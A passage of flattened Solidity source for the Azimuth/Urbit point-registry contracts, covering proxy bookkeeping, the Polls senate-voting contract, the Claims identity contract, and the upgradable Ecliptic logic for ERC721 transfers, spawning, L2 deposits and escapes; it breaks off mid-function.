// to keep the reverse lookup gapless. delete the point from the // old voter's list, then fill that gap with the list tail. // if (0x0 != prev) { // i: current index in previous voter's list of points it was // voting for // uint256 i = votingForIndexes[prev][_point]; // we store index + 1, because 0 is the solidity default value // assert(i > 0); i--; // copy the last item in the list into the now-unused slot, // making sure to update its :votingForIndexes reference // uint32[] storage prevVfor = votingFor[prev]; uint256 last = prevVfor.length - 1; uint32 moved = prevVfor[last]; prevVfor[i] = moved; votingForIndexes[prev][moved] = i + 1; // delete the last item // delete(prevVfor[last]); prevVfor.length = last; votingForIndexes[prev][_point] = 0; } if (0x0 != _proxy) { uint32[] storage vfor = votingFor[_proxy]; vfor.push(_point); votingForIndexes[_proxy][_point] = vfor.length; } deed.votingProxy = _proxy; emit ChangedVotingProxy(_point, _proxy); } // setManagementProxy(): makes _proxy _point's transfer proxy // function setTransferProxy(uint32 _point, address _proxy) onlyOwner external { Deed storage deed = rights[_point]; address prev = deed.transferProxy; if (prev == _proxy) { return; } // if the point used to have a different transfer proxy, do some // gymnastics to keep the reverse lookup gapless. delete the point // from the old proxy's list, then fill that gap with the list tail. // if (0x0 != prev) { // i: current index in previous proxy's list of transferable points // uint256 i = transferringForIndexes[prev][_point]; // we store index + 1, because 0 is the solidity default value // assert(i > 0); i--; // copy the last item in the list into the now-unused slot, // making sure to update its :transferringForIndexes reference // uint32[] storage prevTfor = transferringFor[prev]; uint256 last = prevTfor.length - 1; uint32 moved = prevTfor[last]; prevTfor[i] = moved; transferringForIndexes[prev][moved] = i + 1; // delete the last item // delete(prevTfor[last]); prevTfor.length = last; transferringForIndexes[prev][_point] = 0; } if (0x0 != _proxy) { uint32[] storage tfor = transferringFor[_proxy]; tfor.push(_point); transferringForIndexes[_proxy][_point] = tfor.length; } deed.transferProxy = _proxy; emit ChangedTransferProxy(_point, _proxy); } // setOperator(): dis/allow _operator to transfer ownership of all points // owned by _owner // // operators are part of the ERC721 standard // function setOperator(address _owner, address _operator, bool _approved) onlyOwner external { operators[_owner][_operator] = _approved; } } // Azimuth's ReadsAzimuth.sol // ReadsAzimuth: referring to and testing against the Azimuth // data contract // // To avoid needless repetition, this contract provides common // checks and operations using the Azimuth contract. // contract ReadsAzimuth { // azimuth: points data storage contract. // Azimuth public azimuth; // constructor(): set the Azimuth data contract's address // constructor(Azimuth _azimuth) public { azimuth = _azimuth; } // activePointOwner(): require that :msg.sender is the owner of _point, // and that _point is active // modifier activePointOwner(uint32 _point) { require( azimuth.isOwner(_point, msg.sender) && azimuth.isActive(_point) ); _; } // activePointManager(): require that :msg.sender can manage _point, // and that _point is active // modifier activePointManager(uint32 _point) { require( azimuth.canManage(_point, msg.sender) && azimuth.isActive(_point) ); _; } // activePointSpawner(): require that :msg.sender can spawn as _point, // and that _point is active // modifier activePointSpawner(uint32 _point) { require( azimuth.canSpawnAs(_point, msg.sender) && azimuth.isActive(_point) ); _; } // activePointVoter(): require that :msg.sender can vote as _point, // and that _point is active // modifier activePointVoter(uint32 _point) { require( azimuth.canVoteAs(_point, msg.sender) && azimuth.isActive(_point) ); _; } } // Azimuth's Polls.sol // Polls: proposals & votes data contract // // This contract is used for storing all data related to the proposals // of the senate (galaxy owners) and their votes on those proposals. // It keeps track of votes and uses them to calculate whether a majority // is in favor of a proposal. // // Every galaxy can only vote on a proposal exactly once. Votes cannot // be changed. If a proposal fails to achieve majority within its // duration, it can be restarted after its cooldown period has passed. // // The requirements for a proposal to achieve majority are as follows: // - At least 1/4 of the currently active voters (rounded down) must have // voted in favor of the proposal, // - More than half of the votes cast must be in favor of the proposal, // and this can no longer change, either because // - the poll duration has passed, or // - not enough voters remain to take away the in-favor majority. // As soon as these conditions are met, no further interaction with // the proposal is possible. Achieving majority is permanent. // // Since data stores are difficult to upgrade, all of the logic unrelated // to the voting itself (that is, determining who is eligible to vote) // is expected to be implemented by this contract's owner. // // This contract will be owned by the Ecliptic contract. // contract Polls is Ownable { using SafeMath for uint256; using SafeMath16 for uint16; using SafeMath8 for uint8; // UpgradePollStarted: a poll on :proposal has opened // event UpgradePollStarted(address proposal); // DocumentPollStarted: a poll on :proposal has opened // event DocumentPollStarted(bytes32 proposal); // UpgradeMajority: :proposal has achieved majority // event UpgradeMajority(address proposal); // DocumentMajority: :proposal has achieved majority // event DocumentMajority(bytes32 proposal); // Poll: full poll state // struct Poll { // start: the timestamp at which the poll was started // uint256 start; // voted: per galaxy, whether they have voted on this poll // bool[256] voted; // yesVotes: amount of votes in favor of the proposal // uint16 yesVotes; // noVotes: amount of votes against the proposal // uint16 noVotes; // duration: amount of time during which the poll can be voted on // uint256 duration; // cooldown: amount of time before the (non-majority) poll can be reopened // uint256 cooldown; } // pollDuration: duration set for new polls. see also Poll.duration above // uint256 public pollDuration; // pollCooldown: cooldown set for new polls. see also Poll.cooldown above // uint256 public pollCooldown; // totalVoters: amount of active galaxies // uint16 public totalVoters; // upgradeProposals: list of all upgrades ever proposed // // this allows clients to discover the existence of polls. // from there, they can do liveness checks on the polls themselves. // address[] public upgradeProposals; // upgradePolls: per address, poll held to determine if that address // will become the new ecliptic // mapping(address => Poll) public upgradePolls; // upgradeHasAchievedMajority: per address, whether that address // has ever achieved majority // // If we did not store this, we would have to look at old poll data // to see whether or not a proposal has ever achieved majority. // Since the outcome of a poll is calculated based on :totalVoters, // which may not be consistent across time, we need to store outcomes // explicitly instead of re-calculating them. This allows us to always // tell with certainty whether or not a majority was achieved, // regardless of the current :totalVoters. // mapping(address => bool) public upgradeHasAchievedMajority; // documentProposals: list of all documents ever proposed // // this allows clients to discover the existence of polls. // from there, they can do liveness checks on the polls themselves. // bytes32[] public documentProposals; // documentPolls: per hash, poll held to determine if the corresponding // document is accepted by the galactic senate // mapping(bytes32 => Poll) public documentPolls; // documentHasAchievedMajority: per hash, whether that hash has ever // achieved majority // // the note for upgradeHasAchievedMajority above applies here as well // mapping(bytes32 => bool) public documentHasAchievedMajority; // documentMajorities: all hashes that have achieved majority // bytes32[] public documentMajorities; // constructor(): initial contract configuration // constructor(uint256 _pollDuration, uint256 _pollCooldown) public { reconfigure(_pollDuration, _pollCooldown); } // reconfigure(): change poll duration and cooldown // function reconfigure(uint256 _pollDuration, uint256 _pollCooldown) public onlyOwner { require( (5 days <= _pollDuration) && (_pollDuration <= 90 days) && (5 days <= _pollCooldown) && (_pollCooldown <= 90 days) ); pollDuration = _pollDuration; pollCooldown = _pollCooldown; } // incrementTotalVoters(): increase the amount of registered voters // function incrementTotalVoters() external onlyOwner { require(totalVoters < 256); totalVoters = totalVoters.add(1); } // getAllUpgradeProposals(): return array of all upgrade proposals ever made // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getUpgradeProposals() external view returns (address[] proposals) { return upgradeProposals; } // getUpgradeProposalCount(): get the number of unique proposed upgrades // function getUpgradeProposalCount() external view returns (uint256 count) { return upgradeProposals.length; } // getAllDocumentProposals(): return array of all upgrade proposals ever made // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getDocumentProposals() external view returns (bytes32[] proposals) { return documentProposals; } // getDocumentProposalCount(): get the number of unique proposed upgrades // function getDocumentProposalCount() external view returns (uint256 count) { return documentProposals.length; } // getDocumentMajorities(): return array of all document majorities // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getDocumentMajorities() external view returns (bytes32[] majorities) { return documentMajorities; } // hasVotedOnUpgradePoll(): returns true if _galaxy has voted // on the _proposal // function hasVotedOnUpgradePoll(uint8 _galaxy, address _proposal) external view returns (bool result) { return upgradePolls[_proposal].voted[_galaxy]; } // hasVotedOnDocumentPoll(): returns true if _galaxy has voted // on the _proposal // function hasVotedOnDocumentPoll(uint8 _galaxy, bytes32 _proposal) external view returns (bool result) { return documentPolls[_proposal].voted[_galaxy]; } // startUpgradePoll(): open a poll on making _proposal the new ecliptic // function startUpgradePoll(address _proposal) external onlyOwner { // _proposal must not have achieved majority before // require(!upgradeHasAchievedMajority[_proposal]); Poll storage poll = upgradePolls[_proposal]; // if the proposal is being made for the first time, register it. // if (0 == poll.start) { upgradeProposals.push(_proposal); } startPoll(poll); emit UpgradePollStarted(_proposal); } // startDocumentPoll(): open a poll on accepting the document // whose hash is _proposal // function startDocumentPoll(bytes32 _proposal) external onlyOwner { // _proposal must not have achieved majority before // require(!documentHasAchievedMajority[_proposal]); Poll storage poll = documentPolls[_proposal]; // if the proposal is being made for the first time, register it. // if (0 == poll.start) { documentProposals.push(_proposal); } startPoll(poll); emit DocumentPollStarted(_proposal); } // startPoll(): open a new poll, or re-open an old one // function startPoll(Poll storage _poll) internal { // check that the poll has cooled down enough to be started again // // for completely new polls, the values used will be zero // require( block.timestamp > ( _poll.start.add( _poll.duration.add( _poll.cooldown )) ) ); // set started poll state // _poll.start = block.timestamp; delete _poll.voted; _poll.yesVotes = 0; _poll.noVotes = 0; _poll.duration = pollDuration; _poll.cooldown = pollCooldown; } // castUpgradeVote(): as galaxy _as, cast a vote on the _proposal // // _vote is true when in favor of the proposal, false otherwise // function castUpgradeVote(uint8 _as, address _proposal, bool _vote) external onlyOwner returns (bool majority) { Poll storage poll = upgradePolls[_proposal]; processVote(poll, _as, _vote); return updateUpgradePoll(_proposal); } // castDocumentVote(): as galaxy _as, cast a vote on the _proposal // // _vote is true when in favor of the proposal, false otherwise // function castDocumentVote(uint8 _as, bytes32 _proposal, bool _vote) external onlyOwner returns (bool majority) { Poll storage poll = documentPolls[_proposal]; processVote(poll, _as, _vote); return updateDocumentPoll(_proposal); } // processVote(): record a vote from _as on the _poll // function processVote(Poll storage _poll, uint8 _as, bool _vote) internal { // assist symbolic execution tools // assert(block.timestamp >= _poll.start); require( // may only vote once // !_poll.voted[_as] && // // may only vote when the poll is open // (block.timestamp < _poll.start.add(_poll.duration)) ); // update poll state to account for the new vote // _poll.voted[_as] = true; if (_vote) { _poll.yesVotes = _poll.yesVotes.add(1); } else { _poll.noVotes = _poll.noVotes.add(1); } } // updateUpgradePoll(): check whether the _proposal has achieved // majority, updating state, sending an event, // and returning true if it has // function updateUpgradePoll(address _proposal) public onlyOwner returns (bool majority) { // _proposal must not have achieved majority before // require(!upgradeHasAchievedMajority[_proposal]); // check for majority in the poll // Poll storage poll = upgradePolls[_proposal]; majority = checkPollMajority(poll); // if majority was achieved, update the state and send an event // if (majority) { upgradeHasAchievedMajority[_proposal] = true; emit UpgradeMajority(_proposal); } return majority; } // updateDocumentPoll(): check whether the _proposal has achieved majority, // updating the state and sending an event if it has // // this can be called by anyone, because the ecliptic does not // need to be aware of the result // function updateDocumentPoll(bytes32 _proposal) public returns (bool majority) { // _proposal must not have achieved majority before // require(!documentHasAchievedMajority[_proposal]); // check for majority in the poll // Poll storage poll = documentPolls[_proposal]; majority = checkPollMajority(poll); // if majority was achieved, update state and send an event // if (majority) { documentHasAchievedMajority[_proposal] = true; documentMajorities.push(_proposal); emit DocumentMajority(_proposal); } return majority; } // checkPollMajority(): returns true if the majority is in favor of // the subject of the poll // function checkPollMajority(Poll _poll) internal view returns (bool majority) { return ( // poll must have at least the minimum required yes-votes // (_poll.yesVotes >= (totalVoters / 4)) && // // and have a majority... // (_poll.yesVotes > _poll.noVotes) && // // ...that is indisputable // ( // either because the poll has ended // (block.timestamp > _poll.start.add(_poll.duration)) || // // or there are more yes votes than there can be no votes // ( _poll.yesVotes > totalVoters.sub(_poll.yesVotes) ) ) ); } } // Azimuth's Claims.sol // Claims: simple identity management // // This contract allows points to document claims about their owner. // Most commonly, these are about identity, with a claim's protocol // defining the context or platform of the claim, and its dossier // containing proof of its validity. // Points are limited to a maximum of 16 claims. // // For existing claims, the dossier can be updated, or the claim can // be removed entirely. It is recommended to remove any claims associated // with a point when it is about to be transferred to a new owner. // For convenience, the owner of the Azimuth contract (the Ecliptic) // is allowed to clear claims for any point, allowing it to do this for // you on-transfer. // contract Claims is ReadsAzimuth { // ClaimAdded: a claim was added by :by // event ClaimAdded( uint32 indexed by, string _protocol, string _claim, bytes _dossier ); // ClaimRemoved: a claim was removed by :by // event ClaimRemoved(uint32 indexed by, string _protocol, string _claim); // maxClaims: the amount of claims that can be registered per point // uint8 constant maxClaims = 16; // Claim: claim details // struct Claim { // protocol: context of the claim // string protocol; // claim: the claim itself // string claim; // dossier: data relating to the claim, as proof // bytes dossier; } // per point, list of claims // mapping(uint32 => Claim[maxClaims]) public claims; // constructor(): register the azimuth contract. // constructor(Azimuth _azimuth) ReadsAzimuth(_azimuth) public { // } // addClaim(): register a claim as _point // function addClaim(uint32 _point, string _protocol, string _claim, bytes _dossier) external activePointManager(_point) { // require non-empty protocol and claim fields // require( ( 0 < bytes(_protocol).length ) && ( 0 < bytes(_claim).length ) ); // cur: index + 1 of the claim if it already exists, 0 otherwise // uint8 cur = findClaim(_point, _protocol, _claim); // if the claim doesn't yet exist, store it in state // if (cur == 0) { // if there are no empty slots left, this throws // uint8 empty = findEmptySlot(_point); claims[_point][empty] = Claim(_protocol, _claim, _dossier); } // // if the claim has been made before, update the version in state // else { claims[_point][cur-1] = Claim(_protocol, _claim, _dossier); } emit ClaimAdded(_point, _protocol, _claim, _dossier); } // removeClaim(): unregister a claim as _point // function removeClaim(uint32 _point, string _protocol, string _claim) external activePointManager(_point) { // i: current index + 1 in _point's list of claims // uint256 i = findClaim(_point, _protocol, _claim); // we store index + 1, because 0 is the eth default value // can only delete an existing claim // require(i > 0); i--; // clear out the claim // delete claims[_point][i]; emit ClaimRemoved(_point, _protocol, _claim); } // clearClaims(): unregister all of _point's claims // // can also be called by the ecliptic during point transfer // function clearClaims(uint32 _point) external { // both point owner and ecliptic may do this // // We do not necessarily need to check for _point's active flag here, // since inactive points cannot have claims set. Doing the check // anyway would make this function slightly harder to think about due // to its relation to Ecliptic's transferPoint(). // require( azimuth.canManage(_point, msg.sender) || ( msg.sender == azimuth.owner() ) ); Claim[maxClaims] storage currClaims = claims[_point]; // clear out all claims // for (uint8 i = 0; i < maxClaims; i++) { // only emit the removed event if there was a claim here // if ( 0 < bytes(currClaims[i].claim).length ) { emit ClaimRemoved(_point, currClaims[i].protocol, currClaims[i].claim); } delete currClaims[i]; } } // findClaim(): find the index of the specified claim // // returns 0 if not found, index + 1 otherwise // function findClaim(uint32 _whose, string _protocol, string _claim) public view returns (uint8 index) { // we use hashes of the string because solidity can't do string // comparison yet // bytes32 protocolHash = keccak256(bytes(_protocol)); bytes32 claimHash = keccak256(bytes(_claim)); Claim[maxClaims] storage theirClaims = claims[_whose]; for (uint8 i = 0; i < maxClaims; i++) { Claim storage thisClaim = theirClaims[i]; if ( ( protocolHash == keccak256(bytes(thisClaim.protocol)) ) && ( claimHash == keccak256(bytes(thisClaim.claim)) ) ) { return i+1; } } return 0; } // findEmptySlot(): find the index of the first empty claim slot // // returns the index of the slot, throws if there are no empty slots // function findEmptySlot(uint32 _whose) internal view returns (uint8 index) { Claim[maxClaims] storage theirClaims = claims[_whose]; for (uint8 i = 0; i < maxClaims; i++) { Claim storage thisClaim = theirClaims[i]; if ( (0 == bytes(thisClaim.claim).length) ) { return i; } } revert(); } } // Treasury's ITreasuryProxy interface ITreasuryProxy { function upgradeTo(address _impl) external returns (bool); function freeze() external returns (bool); } // Azimuth's EclipticBase.sol // EclipticBase: upgradable ecliptic // // This contract implements the upgrade logic for the Ecliptic. // Newer versions of the Ecliptic are expected to provide at least // the onUpgrade() function. If they don't, upgrading to them will // fail. // // Note that even though this contract doesn't specify any required // interface members aside from upgrade() and onUpgrade(), contracts // and clients may still rely on the presence of certain functions // provided by the Ecliptic proper. Keep this in mind when writing // new versions of it. // contract EclipticBase is Ownable, ReadsAzimuth { // Upgraded: _to is the new canonical Ecliptic // event Upgraded(address to); // polls: senate voting contract // Polls public polls; // previousEcliptic: address of the previous ecliptic this // instance expects to upgrade from, stored and // checked for to prevent unexpected upgrade paths // address public previousEcliptic; constructor( address _previous, Azimuth _azimuth, Polls _polls ) ReadsAzimuth(_azimuth) internal { previousEcliptic = _previous; polls = _polls; } // onUpgrade(): called by previous ecliptic when upgrading // // in future ecliptics, this might perform more logic than // just simple checks and verifications. // when overriding this, make sure to call this original as well. // function onUpgrade() external { // make sure this is the expected upgrade path, // and that we have gotten the ownership we require // require( msg.sender == previousEcliptic && this == azimuth.owner() && this == polls.owner() ); } // upgrade(): transfer ownership of the ecliptic data to the new // ecliptic contract, notify it, then self-destruct. // // Note: any eth that have somehow ended up in this contract // are also sent to the new ecliptic. // function upgrade(EclipticBase _new) internal { // transfer ownership of the data contracts // azimuth.transferOwnership(_new); polls.transferOwnership(_new); // trigger upgrade logic on the target contract // _new.onUpgrade(); // emit event and destroy this contract // emit Upgraded(_new); selfdestruct(_new); } } //////////////////////////////////////////////////////////////////////////////// // Ecliptic //////////////////////////////////////////////////////////////////////////////// // Ecliptic: logic for interacting with the Azimuth ledger // // This contract is the point of entry for all operations on the Azimuth // ledger as stored in the Azimuth data contract. The functions herein // are responsible for performing all necessary business logic. // Examples of such logic include verifying permissions of the caller // and ensuring a requested change is actually valid. // Point owners can always operate on their own points. Ethereum addresses // can also perform specific operations if they've been given the // appropriate permissions. (For example, managers for general management, // spawn proxies for spawning child points, etc.) // // This contract uses external contracts (Azimuth, Polls) for data storage // so that it itself can easily be replaced in case its logic needs to // be changed. In other words, it can be upgraded. It does this by passing // ownership of the data contracts to a new Ecliptic contract. // // Because of this, it is advised for clients to not store this contract's // address directly, but rather ask the Azimuth contract for its owner // attribute to ensure transactions get sent to the latest Ecliptic. // Alternatively, the ENS name ecliptic.eth will resolve to the latest // Ecliptic as well. // // Upgrading happens based on polls held by the senate (galaxy owners). // Through this contract, the senate can submit proposals, opening polls // for the senate to cast votes on. These proposals can be either hashes // of documents or addresses of new Ecliptics. // If an ecliptic proposal gains majority, this contract will transfer // ownership of the data storage contracts to that address, so that it may // operate on the data they contain. This contract will selfdestruct at // the end of the upgrade process. // // This contract implements the ERC721 interface for non-fungible tokens, // allowing points to be managed using generic clients that support the // standard. It also implements ERC165 to allow this to be discovered. // contract Ecliptic is EclipticBase, SupportsInterfaceWithLookup, ERC721Metadata { using SafeMath for uint256; using AddressUtils for address; // Transfer: This emits when ownership of any NFT changes by any mechanism. // This event emits when NFTs are created (`from` == 0) and // destroyed (`to` == 0). At the time of any transfer, the // approved address for that NFT (if any) is reset to none. // event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); // Approval: This emits when the approved address for an NFT is changed or // reaffirmed. The zero address indicates there is no approved // address. When a Transfer event emits, this also indicates that // the approved address for that NFT (if any) is reset to none. // event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); // ApprovalForAll: This emits when an operator is enabled or disabled for an // owner. The operator can manage all NFTs of the owner. // event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); // erc721Received: equal to: // bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")) // which can be also obtained as: // ERC721Receiver(0).onERC721Received.selector` bytes4 constant erc721Received = 0x150b7a02; // depositAddress: Special address respresenting L2. Ships sent to // this address are controlled on L2 instead of here. // address constant public depositAddress = 0x1111111111111111111111111111111111111111; ITreasuryProxy public treasuryProxy; // treasuryUpgradeHash // hash of the treasury implementation to upgrade to // Note: stand-in, just hash of no bytes // could be made immutable and passed in as constructor argument bytes32 constant public treasuryUpgradeHash = hex"26f3eae628fa1a4d23e34b91a4d412526a47620ced37c80928906f9fa07c0774"; bool public treasuryUpgraded = false; // claims: contract reference, for clearing claims on-transfer // Claims public claims; // constructor(): set data contract addresses and signal interface support // // Note: during first deploy, ownership of these data contracts must // be manually transferred to this contract. // constructor(address _previous, Azimuth _azimuth, Polls _polls, Claims _claims, ITreasuryProxy _treasuryProxy) EclipticBase(_previous, _azimuth, _polls) public { claims = _claims; treasuryProxy = _treasuryProxy; // register supported interfaces for ERC165 // _registerInterface(0x80ac58cd); // ERC721 _registerInterface(0x5b5e139f); // ERC721Metadata _registerInterface(0x7f5828d0); // ERC173 (ownership) } // // ERC721 interface // // balanceOf(): get the amount of points owned by _owner // function balanceOf(address _owner) public view returns (uint256 balance) { require(0x0 != _owner); return azimuth.getOwnedPointCount(_owner); } // ownerOf(): get the current owner of point _tokenId // function ownerOf(uint256 _tokenId) public view validPointId(_tokenId) returns (address owner) { uint32 id = uint32(_tokenId); // this will throw if the owner is the zero address, // active points always have a valid owner. // require(azimuth.isActive(id)); return azimuth.getOwner(id); } // exists(): returns true if point _tokenId is active // function exists(uint256 _tokenId) public view returns (bool doesExist) { return ( (_tokenId < 0x100000000) && azimuth.isActive(uint32(_tokenId)) ); } // safeTransferFrom(): transfer point _tokenId from _from to _to // function safeTransferFrom(address _from, address _to, uint256 _tokenId) public { // transfer with empty data // safeTransferFrom(_from, _to, _tokenId, ""); } // safeTransferFrom(): transfer point _tokenId from _from to _to, // and call recipient if it's a contract // function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public { // perform raw transfer // transferFrom(_from, _to, _tokenId); // do the callback last to avoid re-entrancy // if (_to.isContract()) { bytes4 retval = ERC721Receiver(_to) .onERC721Received(msg.sender, _from, _tokenId, _data); // // standard return idiom to confirm contract semantics // require(retval == erc721Received); } } // transferFrom(): transfer point _tokenId from _from to _to, // WITHOUT notifying recipient contract // function transferFrom(address _from, address _to, uint256 _tokenId) public validPointId(_tokenId) { uint32 id = uint32(_tokenId); require(azimuth.isOwner(id, _from)); // the ERC721 operator/approved address (if any) is // accounted for in transferPoint() // transferPoint(id, _to, true); } // approve(): allow _approved to transfer ownership of point // _tokenId // function approve(address _approved, uint256 _tokenId) public validPointId(_tokenId) { setTransferProxy(uint32(_tokenId), _approved); } // setApprovalForAll(): allow or disallow _operator to // transfer ownership of ALL points // owned by :msg.sender // function setApprovalForAll(address _operator, bool _approved) public { require(0x0 != _operator); azimuth.setOperator(msg.sender, _operator, _approved); emit ApprovalForAll(msg.sender, _operator, _approved); } // getApproved(): get the approved address for point _tokenId // function getApproved(uint256 _tokenId) public view validPointId(_tokenId) returns (address approved) { //NOTE redundant, transfer proxy cannot be set for // inactive points // require(azimuth.isActive(uint32(_tokenId))); return azimuth.getTransferProxy(uint32(_tokenId)); } // isApprovedForAll(): returns true if _operator is an // operator for _owner // function isApprovedForAll(address _owner, address _operator) public view returns (bool result) { return azimuth.isOperator(_owner, _operator); } // // ERC721Metadata interface // // name(): returns the name of a collection of points // function name() external view returns (string) { return "Azimuth Points"; } // symbol(): returns an abbreviates name for points // function symbol() external view returns (string) { return "AZP"; } // tokenURI(): returns a URL to an ERC-721 standard JSON file // function tokenURI(uint256 _tokenId) public view validPointId(_tokenId) returns (string _tokenURI) { _tokenURI = "https://azimuth.network/erc721/0000000000.json"; bytes memory _tokenURIBytes = bytes(_tokenURI); _tokenURIBytes[31] = byte(48+(_tokenId / 1000000000) % 10); _tokenURIBytes[32] = byte(48+(_tokenId / 100000000) % 10); _tokenURIBytes[33] = byte(48+(_tokenId / 10000000) % 10); _tokenURIBytes[34] = byte(48+(_tokenId / 1000000) % 10); _tokenURIBytes[35] = byte(48+(_tokenId / 100000) % 10); _tokenURIBytes[36] = byte(48+(_tokenId / 10000) % 10); _tokenURIBytes[37] = byte(48+(_tokenId / 1000) % 10); _tokenURIBytes[38] = byte(48+(_tokenId / 100) % 10); _tokenURIBytes[39] = byte(48+(_tokenId / 10) % 10); _tokenURIBytes[40] = byte(48+(_tokenId / 1) % 10); } // // Points interface // // configureKeys(): configure _point with network public keys // _encryptionKey, _authenticationKey, // and corresponding _cryptoSuiteVersion, // incrementing the point's continuity number if needed // function configureKeys(uint32 _point, bytes32 _encryptionKey, bytes32 _authenticationKey, uint32 _cryptoSuiteVersion, bool _discontinuous) external activePointManager(_point) onL1(_point) { if (_discontinuous) { azimuth.incrementContinuityNumber(_point); } azimuth.setKeys(_point, _encryptionKey, _authenticationKey, _cryptoSuiteVersion); } // spawn(): spawn _point, then either give, or allow _target to take, // ownership of _point // // if _target is the :msg.sender, _targets owns the _point right away. // otherwise, _target becomes the transfer proxy of _point. // // Requirements: // - _point must not be active // - _point must not be a planet with a galaxy prefix // - _point's prefix must be linked and under its spawn limit // - :msg.sender must be either the owner of _point's prefix, // or an authorized spawn proxy for it // function spawn(uint32 _point, address _target) external { // only currently unowned (and thus also inactive) points can be spawned // require(azimuth.isOwner(_point, 0x0)); // prefix: half-width prefix of _point // uint16 prefix = azimuth.getPrefix(_point); // can't spawn if we deposited ownership or spawn rights to L2 // require( depositAddress != azimuth.getOwner(prefix) ); require( depositAddress != azimuth.getSpawnProxy(prefix) ); // only allow spawning of points of the size directly below the prefix // // this is possible because of how the address space works, // but supporting it introduces complexity through broken assumptions. // // example: // 0x0000.0000 - galaxy zero // 0x0000.0100 - the first star of galaxy zero // 0x0001.0100 - the first planet of the first star // 0x0001.0000 - the first planet of galaxy zero // require( (uint8(azimuth.getPointSize(prefix)) + 1) == uint8(azimuth.getPointSize(_point)) ); // prefix point must be linked and able to spawn // require( (azimuth.hasBeenLinked(prefix)) && ( azimuth.getSpawnCount(prefix) < getSpawnLimit(prefix, block.timestamp) ) ); // the owner of a prefix can always spawn its children; // other addresses need explicit permission (the role // of "spawnProxy" in the Azimuth contract) // require( azimuth.canSpawnAs(prefix, msg.sender) ); // if the caller is spawning the point to themselves, // assume it knows what it's doing and resolve right away // if (msg.sender == _target) { doSpawn(_point, _target, true, 0x0); } // // when sending to a "foreign" address, enforce a withdraw pattern // making the _point prefix's owner the _point owner in the mean time // else { doSpawn(_point, _target, false, azimuth.getOwner(prefix)); } } // doSpawn(): actual spawning logic, used in spawn(). creates _point, // making the _target its owner if _direct, or making the // _holder the owner and the _target the transfer proxy // if not _direct. // function doSpawn( uint32 _point, address _target, bool _direct, address _holder ) internal { // register the spawn for _point's prefix, incrementing spawn count // azimuth.registerSpawned(_point); // if the spawn is _direct, assume _target knows what they're doing // and resolve right away // if (_direct) { // make the point active and set its new owner // azimuth.activatePoint(_point); azimuth.setOwner(_point, _target); emit Transfer(0x0, _target, uint256(_point)); } // // when spawning indirectly, enforce a withdraw pattern by approving // the _target for transfer of the _point instead. // we make the _holder the owner of this _point in the mean time, // so that it may cancel the transfer (un-approve) if _target flakes. // we don't make _point active yet, because it still doesn't really // belong to anyone. // else { // have _holder hold on to the _point while _target gets to transfer // ownership of it // azimuth.setOwner(_point, _holder); azimuth.setTransferProxy(_point, _target); emit Transfer(0x0, _holder, uint256(_point)); emit Approval(_holder, _target, uint256(_point)); } } // transferPoint(): transfer _point to _target, clearing all permissions // data and keys if _reset is true // // Note: the _reset flag is useful when transferring the point to // a recipient who doesn't trust the previous owner. // // We know _point is not on L2, since otherwise its owner would be // depositAddress (which has no operator) and its transfer proxy // would be zero. // // Requirements: // - :msg.sender must be either _point's current owner, authorized // to transfer _point, or authorized to transfer the current // owner's points (as in ERC721's operator) // - _target must not be the zero address // function transferPoint(uint32 _point, address _target, bool _reset) public { // transfer is legitimate if the caller is the current owner, or // an operator for the current owner, or the _point's transfer proxy // require(azimuth.canTransfer(_point, msg.sender)); // can't deposit galaxy to L2 // can't deposit contract-owned point to L2 // require( depositAddress != _target || ( azimuth.getPointSize(_point) != Azimuth.Size.Galaxy && !azimuth.getOwner(_point).isContract() ) ); // if the point wasn't active yet, that means transferring it // is part of the "spawn" flow, so we need to activate it // if ( !azimuth.isActive(_point) ) { azimuth.activatePoint(_point); } // if the owner would actually change, change it // // the only time this deliberately wouldn't be the case is when a // prefix owner wants to activate a spawned but untransferred child. // if ( !azimuth.isOwner(_point, _target) ) { // remember the previous owner, to be included in the Transfer event // address old = azimuth.getOwner(_point); azimuth.setOwner(_point, _target); // according to ERC721, the approved address (here, transfer proxy) // gets cleared during every Transfer event // // we also rely on this so that transfer-related functions don't need // to verify the point is on L1 // azimuth.setTransferProxy(_point, 0); emit Transfer(old, _target, uint256(_point)); } // if we're depositing to L2, clear L1 data so that no proxies // can be used // if ( depositAddress == _target ) { azimuth.setKeys(_point, 0, 0, 0); azimuth.setManagementProxy(_point, 0); azimuth.setVotingProxy(_point, 0); azimuth.setTransferProxy(_point, 0); azimuth.setSpawnProxy(_point, 0); claims.clearClaims(_point); azimuth.cancelEscape(_point); } // reset sensitive data // used when transferring the point to a new owner // else if ( _reset ) { // clear the network public keys and break continuity, // but only if the point has already been linked // if ( azimuth.hasBeenLinked(_point) ) { azimuth.incrementContinuityNumber(_point); azimuth.setKeys(_point, 0, 0, 0); } // clear management proxy // azimuth.setManagementProxy(_point, 0); // clear voting proxy // azimuth.setVotingProxy(_point, 0); // clear transfer proxy // // in most cases this is done above, during the ownership transfer, // but we might not hit that and still be expected to reset the // transfer proxy. // doing it a second time is a no-op in Azimuth. // azimuth.setTransferProxy(_point, 0); // clear spawning proxy // // don't clear if the spawn rights have been deposited to L2, // if ( depositAddress != azimuth.getSpawnProxy(_point) ) { azimuth.setSpawnProxy(_point, 0); } // clear claims // claims.clearClaims(_point); } } // escape(): request escape as _point to _sponsor // // if an escape request is already active, this overwrites // the existing request // // Requirements: // - :msg.sender must be the owner or manager of _point, // - _point must be able to escape to _sponsor as per to canEscapeTo() // function escape(uint32 _point, uint32 _sponsor) external activePointManager(_point) onL1(_point) { // if the sponsor is on L2, we need to escape using L2 // require( depositAddress != azimuth.getOwner(_sponsor) ); require(canEscapeTo(_point, _sponsor)); azimuth.setEscapeRequest(_point, _sponsor); } // cancelEscape(): cancel the currently set escape for _point // function cancelEscape(uint32 _point) external activePointManager(_point) { azimuth.cancelEscape(_point); } // adopt(): as the relevant sponsor, accept the _point // // Requirements: // - :msg.sender must be the owner or management proxy // of _point's requested sponsor // function adopt(uint32 _point) external onL1(_point) { uint32 request = azimuth.getEscapeRequest(_point); require( azimuth.isEscaping(_point) && azimuth.canManage( request, msg.sender ) ); require( depositAddress != azimuth.getOwner(request) ); // _sponsor 